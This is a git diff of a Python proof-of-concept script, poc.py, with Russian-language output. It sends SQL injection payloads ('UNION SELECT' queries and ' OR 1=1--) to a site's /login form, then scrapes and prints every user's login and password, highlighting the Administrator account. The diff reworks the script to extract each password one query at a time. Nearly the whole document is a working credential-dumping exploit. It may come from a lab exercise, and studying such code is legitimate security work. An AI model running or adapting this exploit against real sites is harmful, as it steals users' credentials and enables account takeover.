diff --git a/poc.py b/poc.py
index 41b97a3..8a58611 100755
--- a/poc.py
+++ b/poc.py
@@ -9,28 +9,31 @@ args = parser.parse_args()
BASE_URL = args.base_url
-login_payload = "' UNION SELECT login FROM users--"
+login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
-
-password_payload = "' UNION SELECT password FROM users--"
-form_data = {"login": password_payload, "password": "' OR 1=1--"}
-response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
-
logins_raw = re.search(r"
Привет,\s*([^<]*)
", response_logins.text).group(1)
-passwords_raw = re.search(r"Привет,\s*([^<]*)
", response_passwords.text).group(1)
-
logins= logins_raw.split("',), ('")
-passwords = passwords_raw.split("',), ('")
+
+
+passwords=[]
+for login in logins:
+ password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
+ form_data = {"login": password_payload, "password": "' OR 1=1--"}
+ response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
+ password = re.search(r"Привет,\s*([^<]*)
", response_password.text).group(1)
+ passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
- print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
+ else:
+ print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
+
else:
print("Не удалось извлечь данные.")